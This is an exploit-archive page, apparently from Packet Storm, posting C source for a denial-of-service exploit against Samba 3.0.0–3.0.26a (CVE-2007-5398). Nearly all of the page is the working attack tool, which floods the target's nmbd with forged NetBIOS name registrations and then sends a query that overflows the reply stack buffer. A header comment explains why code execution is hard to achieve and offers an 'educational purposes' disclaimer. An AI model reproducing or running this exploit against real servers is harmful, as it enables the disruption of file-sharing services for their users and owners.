what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

samba_nmbddos.c

samba_nmbddos.c
Posted Dec 18, 2007
Authored by Robert Molnar

Denial of service exploit for Samba versions below 3.0.27 that makes use of the NetBIOS replies stack-based buffer overflow vulnerability.

tags | exploit, denial of service, overflow
advisories | CVE-2007-5398
SHA-256 | 13b15c6ad78154402de08612787c7e30f7b1206cd98e40ebad4afcb0611dc21b

samba_nmbddos.c

Change Mirror Download
/*
Samba 3.0.0 to 3.0.26a DOS and remote code execution.
Samba NMBD_Packets.C NetBIOS Replies Stack-Based Buffer Overflow
http://www.securityfocus.com/bid/26455

Author: Gill Bates, molnar_rcs@yahoo.com
For educational purposes only.
The author is not responsable for any harm done using this code.

Remote code execution is almost impossible to exploit.
Samba will overwrite the stack with multiples of 6 bytes:

Byte 1-2: the NM_FLAGS
Byte 3-6: the IP registered

Byte 1 can only take values: 0x00, 0x20, 0x40, 0x60
Byte 2 in the response will always be 0x00

A sample response
-----------------
40 00 c8 a8 00 91
40 00 c8 a8 00 a4
40 00 c8 a8 00 82
40 00 c8 a8 00 95
40 00 c8 a8 00 23
40 00 c8 a8 00 d3
40 00 c8 a8 00 45
40 00 c8 a8 00 be
40 00 c8 a8 00 0e
40 00 c8 a8 00 30
40 00 c8 a8 00 ab
40 00 c8 a8 00 c1
40 00 c8 a8 00 cc
40 00 c8 a8 00 33
40 00 c8 a8 00 f7

Return to libc is also hard or impossible to achieve under these conditions.

And since most distros come with 2.6.x kernels along with the vulnerable samba versions
and these kernels use stack randomizations, gaining unauthorized remote access is
highly improbable.
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <unistd.h>
#include <errno.h>
#include <ctype.h>

#ifndef bool
#define bool unsigned char
#endif

#ifndef false
#define false 0
#endif

#ifndef true
#define true 1
#endif

// function definitions
void Usage(const char * pAppName); // print usage
void EncodeByte(char cAscii, char * pOutBuff); // encode characters in netbios name code
void SendRequest( int nSd ); // send a netbios packet
bool FillTargetList(int nSd, unsigned int nPacketCount); // fills target samba wins list with 96 <1b> names
void GenRandName(char * szName); // generate a 16 byte random name

//------------------------------------------------------------------------------------------------
void Usage(const char * pAppName)
{
printf("Usage: %s <host/ip> <port> <num_packets>\n", pAppName);
printf("Example: %s 192.168.0.2 137 250\n", pAppName);
}

//------------------------------------------------------------------------------------------------
//pOutBuff must hold at least 2 bytes
void EncodeByte(char cAscii, char * pOutBuff)
{
if(pOutBuff != 0L)
{

//make upper
cAscii = toupper(cAscii);

switch(cAscii)
{
case 'A' : memcpy( pOutBuff, "\x45\x42", 2); break;
case 'B' : memcpy( pOutBuff, "\x45\x43", 2); break;
case 'C' : memcpy( pOutBuff, "\x45\x44", 2); break;
case 'D' : memcpy( pOutBuff, "\x45\x45", 2); break;
case 'E' : memcpy( pOutBuff, "\x45\x46", 2); break;
case 'F' : memcpy( pOutBuff, "\x45\x47", 2); break;
case 'G' : memcpy( pOutBuff, "\x45\x48", 2); break;
case 'H' : memcpy( pOutBuff, "\x45\x49", 2); break;
case 'I' : memcpy( pOutBuff, "\x45\x4A", 2); break;
case 'J' : memcpy( pOutBuff, "\x45\x4B", 2); break;
case 'K' : memcpy( pOutBuff, "\x45\x4C", 2); break;
case 'L' : memcpy( pOutBuff, "\x45\x4D", 2); break;
case 'M' : memcpy( pOutBuff, "\x45\x4E", 2); break;
case 'N' : memcpy( pOutBuff, "\x45\x4F", 2); break;
case 'O' : memcpy( pOutBuff, "\x45\x50", 2); break;
case 'P' : memcpy( pOutBuff, "\x46\x41", 2); break;
case 'Q' : memcpy( pOutBuff, "\x46\x42", 2); break;
case 'R' : memcpy( pOutBuff, "\x46\x43", 2); break;
case 'S' : memcpy( pOutBuff, "\x46\x44", 2); break;
case 'T' : memcpy( pOutBuff, "\x46\x45", 2); break;
case 'U' : memcpy( pOutBuff, "\x46\x46", 2); break;
case 'V' : memcpy( pOutBuff, "\x46\x47", 2); break;
case 'W' : memcpy( pOutBuff, "\x46\x48", 2); break;
case 'X' : memcpy( pOutBuff, "\x46\x49", 2); break;
case 'Y' : memcpy( pOutBuff, "\x46\x4A", 2); break;
case 'Z' : memcpy( pOutBuff, "\x46\x4B", 2); break;

case '0' : memcpy( pOutBuff, "\x44\x41", 2); break;
case '1' : memcpy( pOutBuff, "\x44\x42", 2); break;
case '2' : memcpy( pOutBuff, "\x44\x43", 2); break;
case '3' : memcpy( pOutBuff, "\x44\x44", 2); break;
case '4' : memcpy( pOutBuff, "\x44\x45", 2); break;
case '5' : memcpy( pOutBuff, "\x44\x46", 2); break;
case '6' : memcpy( pOutBuff, "\x44\x47", 2); break;
case '7' : memcpy( pOutBuff, "\x44\x48", 2); break;
case '8' : memcpy( pOutBuff, "\x44\x49", 2); break;
case '9' : memcpy( pOutBuff, "\x44\x4A", 2); break;

case ' ' : memcpy( pOutBuff, "\x43\x41", 2); break;
case '!' : memcpy( pOutBuff, "\x43\x42", 2); break;
case '"' : memcpy( pOutBuff, "\x43\x43", 2); break;
case '#' : memcpy( pOutBuff, "\x43\x44", 2); break;
case '$' : memcpy( pOutBuff, "\x43\x45", 2); break;
case '%' : memcpy( pOutBuff, "\x43\x46", 2); break;
case '&' : memcpy( pOutBuff, "\x43\x47", 2); break;
case '\'' : memcpy( pOutBuff, "\x43\x48", 2); break;
case '(' : memcpy( pOutBuff, "\x43\x49", 2); break;
case ')' : memcpy( pOutBuff, "\x43\x4A", 2); break;
case '*' : memcpy( pOutBuff, "\x43\x4B", 2); break;
case '+' : memcpy( pOutBuff, "\x43\x4C", 2); break;
case ',' : memcpy( pOutBuff, "\x43\x4D", 2); break;
case '-' : memcpy( pOutBuff, "\x43\x4E", 2); break;
case '.' : memcpy( pOutBuff, "\x43\x4F", 2); break;
case '=' : memcpy( pOutBuff, "\x44\x4E", 2); break;
case ':' : memcpy( pOutBuff, "\x44\x4B", 2); break;
case ';' : memcpy( pOutBuff, "\x44\x4C", 2); break;
case '@' : memcpy( pOutBuff, "\x45\x41", 2); break;
case '^' : memcpy( pOutBuff, "\x46\x4F", 2); break;
case '_' : memcpy( pOutBuff, "\x46 50", 2); break;
case '{' : memcpy( pOutBuff, "\x48\x4C", 2); break;
case '}' : memcpy( pOutBuff, "\x48\x4E", 2); break;
case '~' : memcpy( pOutBuff, "\x48\x4F", 2); break;

default: memcpy( pOutBuff, "\x45\x42", 2); break; // fill with A
}
}
}

//------------------------------------------------------------------------------------------------
// sName must be at least 16 bytes long
void GenRandName(char * szName)
{

if(szName != 0L)
{
int i = 0;

for(i = 0; i < 15; i++)
{
szName[i] = 65 + rand() % 15;//33 + rand() % 93;

// tanform space to A if it's the case
if(szName[i] == 0x20)
szName[i] = 0x41;
}

szName[15] = 0x0;
}
}

//------------------------------------------------------------------------------------------------
void MakeNetbiosName(const char * szName, char * szNetbiosName)
{
if(szName != 0L && szNetbiosName != 0L)
{
const char * pWorker = szName;
int nLen = 0;

while(*pWorker != 0x0 && nLen < 15)
{
EncodeByte(*pWorker, szNetbiosName);
nLen++;
pWorker++;
szNetbiosName += 2;
}
}
}

//------------------------------------------------------------------------------------------------
void SendRequest( int nSd )
{
//!query
const unsigned char * sPacket = "\x54\xd2" //!2 ID
"\x01\x00" //!2 FLAGS - query
"\x00\x01" //!2 QUERIES
"\x00\x00" //!2 ANSWERS
"\x00\x00" //!2 AUTHORITHY RRS
"\x00\x00" //!2 ADDITIONAL RRS
//!Total 12

// QUERY LIST
//! Query (38 BYTES)
"\x20" // host start
"\x43\x4B\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41" // netbios host name
"\x42\x4C" // host type
"\x00" // end

"\x00\x20"//TYPE NB
"\x00\x01"//CLASS IN
;

printf("[+] Sending query request ...");
write(nSd, sPacket, 50);
printf(" done!\n");

}

//------------------------------------------------------------------------------------------------
bool FillTargetList(int nSd, unsigned int nPacketCount)
{
// this is the original packet
const unsigned char * sPacket = "\x00\x00" //ID
"\x79\x00" //FLAGS
"\x00\x01" //QUERIES
"\x00\x00" //ANSWERS
"\x00\x00" //AUTHORITHY RRS
"\x00\x01" //ADDITIONAL RRS


"\x20" // host start

//!invalid host name (32 bytes from offset 0Dh - 2Dh)
"\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41" // netbios host name

"\x42\x4C" // host type
"\x00" // end

"\x00\x20"//TYPE NB
"\x00\x01"//CLASS IN

//Additional RRS
"\xc0\x0c"

"\x00\x20"//TYPE NB
"\x00\x01"//CLASS IN

"\x00\x00\x00\x78" //TTL

"\x00\x06" // DATA Length

"\x40\x00" // NB FLAGS

"\xC8\xA8\x00\x00" // NB ADDRESS 192.168.x.x
; //Total length 68 bytes


// In order to fill up the reply buffer we need 96 netbios names with <1b> address on target machine

unsigned char szWorkerPacket[68];

int i = 0;
unsigned char nIpNet = 0, nIpHost = 0;

unsigned short nIdBase = rand();

char szName[16], szNbName[31];

szNbName[30] = 0x0; // just for printing purposes set term byte to 0x00

printf("[*] Sending %u packets, sleeping 3 seconds after 32 packets sent\n", nPacketCount);
printf("-> ");
fflush(stdout);

for(i = 0; i < nPacketCount; i++)
{
// copy packet template
memcpy(szWorkerPacket, sPacket, 68);


// insert 2 byte id at offset 00h
memcpy(szWorkerPacket, &nIdBase, 2);
nIdBase++;

// gen rand name
GenRandName(szName);

// tanslate into netbios format
MakeNetbiosName(szName, szNbName);

// insert name into the packet at offset 0D
memcpy(szWorkerPacket + 0x0D, szNbName, 0x1E);

// insert IP network part at offset 42h
nIpNet = i / 255;
memcpy(szWorkerPacket + 0x42, &nIpNet, 0x01);

// insert IP host part at offset 43h, use value of i
nIpHost = i % 255;
memcpy(szWorkerPacket + 0x43, &nIpHost, 0x01);

// increment id
nIdBase++;

//!Packet ready, lets send
write(nSd, szWorkerPacket, 68);


if((i + 1) % 32 == 0)
{
printf(".");
fflush(stdout);
}
}

printf("\n[*] Done, sent %u packets\n", nPacketCount);
fflush(stdout);

}

//------------------------------------------------------------------------------------------------
int main(int argc, char **argv)
{
if(argc < 3)
{
Usage(argv[0]);
return -1;
}

const char * pHostName = argv[1];
unsigned int nPort = atoi(argv[2]);

struct hostent *pHost = gethostbyname(pHostName);

if(pHost == 0L)
{
printf("Invalid host/ip: %s\n", pHostName);
}

int nSD = socket(AF_INET, SOCK_DGRAM, 0);

struct sockaddr_in sin;
memcpy(&sin.sin_addr.s_addr, pHost->h_addr, pHost->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(nPort);

printf("[*] Connecting to -> %s # port -> %u\n", pHost->h_name, nPort);

fflush(stdout);
fflush(stderr);

if (connect(nSD, (struct sockaddr *)&sin, sizeof(sin)) < 0)
{
perror("[-] Connecting");
exit(1);
}
else
{
// Connected
printf("[+] Connected....\n");
sleep(1);


FillTargetList(nSD, atoi(argv[3]));
SendRequest(nSD);

close(nSD);
}
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close